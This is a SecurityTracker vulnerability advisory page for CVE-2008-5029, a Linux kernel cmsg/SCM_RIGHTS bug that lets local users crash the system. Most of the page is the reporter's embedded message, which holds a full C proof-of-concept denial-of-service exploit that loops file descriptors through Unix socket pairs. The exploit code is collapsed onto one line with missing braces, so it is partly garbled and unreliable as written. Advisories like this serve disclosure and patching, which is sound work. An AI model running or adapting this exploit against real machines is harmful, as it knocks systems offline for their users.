SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  OS (Linux)  >  Linux Kernel Vendors:  kernel.org
Linux Kernel cmsg Bug Lets Local Users Deny Service
SecurityTracker Alert ID:  1021511
SecurityTracker URL:  http://securitytracker.com/id?1021511
CVE Reference:  CVE-2008-5029   (Links to External Site)
Updated:  Jul 27 2009
Original Entry Date:  Jan 4 2009
Impact:  Denial of service via local system
Exploit Included:  Yes  
Version(s): 2.6.26 and prior versions
Description:  A vulnerability was reported in Linux Kernel. A local user can cause denial of service conditions.

A local user can send a specially crafted message and then access control data for that message via cmsg to cause the kernel to crash.

Adurit Team reported this vulnerability.

[Editor's note: Eugene Teo reported that this vulnerability is the same as the vulnerability previously reported in CVE-2008-5029; Alert ID 1021292. joris at infogroep.be previously reported that Gentoo's kernel version 2.6.26 is still vulnerable.]

Impact:  A local user can cause denial of service conditions on the target system.
Solution:  No solution was available at the time of this entry.

[Editor's note: Eugene Teo reported that this vulnerability is the same as the vulnerability previously reported in CVE-2008-5029; Alert ID 1021292. joris at infogroep.be previously reported that Gentoo's kernel version 2.6.26 is still vulnerable.]

Vendor URL:  www.kernel.org/ (Links to External Site)
Cause:  Access control error
Underlying OS:  Linux (Caldera/SCO), Linux (Conectiva), Linux (Debian), Linux (EnGarde), Linux (Gentoo), Linux (HP Secure OS), Linux (Immunix), Linux (Mandriva/Mandrake), Linux (Progeny Debian), Linux (Red Hat Enterprise), Linux (Red Hat Fedora), Linux (Red Hat Linux), Linux (SGI), Linux (Slackware), Linux (Sun), Linux (SuSE), Linux (Trustix), Linux (Turbo Linux), Linux (Ubuntu), Linux (Xandros)
Reported By:  i9p@hotmail.fr
Message History:   None.


 Source Message Contents

Date:  1 Jan 2009 16:15:17 -0000
From:  i9p@hotmail.fr
Subject:  Linux Kernel 2.6.18/2.6.24/2.6.20/2.6.22/2.6.21 denial of service


 
/*
Linux Kernel 2.6.18/2.6.24/2.6.20/2.6.22/2.6.21 denial of service exploit

Author : Adurit Team
         >> djekmani4ever

Home : www.hightsec.com

greetz : adurit team - v4-team - Zigma - stack - Mr.safa7 - king sabri - alphanix - and all my friend
s note : this code for education :) */ #include <sys/socket.h> #include <sys/un.h> #include <unistd.h> #include <assert.h> #include <err.h> #include <stdlib.h> static int own_child(int *us) int pid; int s[2]; struct msghdr mh; char crap[1024]; struct iovec iov; struct cmsghdr *c; int *fd; int rc; pid = fork(); if (pid == -1) err(1, "fork()"); if (pid) { close(us[1]); return pid; } close(us[0]); memset(&mh, 0, sizeof(mh)); iov.iov_base = "a"; iov.iov_len = 1; mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = crap; mh.msg_controllen = sizeof(crap); c = CMSG_FIRSTHDR(&mh); assert(c); c->cmsg_level = SOL_SOCKET; c->cmsg_type = SCM_RIGHTS; fd = (int*) CMSG_DATA(c); assert(fd); c->cmsg_len = CMSG_LEN(sizeof(int)); mh.msg_controllen = c->cmsg_len; while (1) { if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1) err(1, "socketpair()"); *fd = s[0]; rc = sendmsg(us[1], &mh, 0); if (rc == -1) err(1, "sendmsg()"); if (rc != iov.iov_len) errx(1, "sent short"); close(s[0]); close(us[1]); us[1] = s[1]; } static void own(void) { static int pid; static int us[2]; char crap[1024]; char morte[1024]; struct cmsghdr *c; int rc; struct msghdr mh; struct iovec iov; int *fds; if (!pid) { if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1) err(1, "socketpair()"); pid = own_child(us); } iov.iov_base = morte; iov.iov_len = sizeof(morte); memset(&mh, 0, sizeof(mh)); mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = crap; mh.msg_controllen = sizeof(crap); rc = recvmsg(us[0], &mh, 0); if (rc == -1) err(1, "recvmsg()"); if (rc == 0) errx(1, "EOF"); c = CMSG_FIRSTHDR(&mh); assert(c); assert(c->cmsg_type == SCM_RIGHTS); fds = (int*) CMSG_DATA(c); assert(fds); close(us[0]); us[0] = *fds; int main(int argc, char *argv[]) own(); exit(0);


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2007, SecurityGlobal.net LLC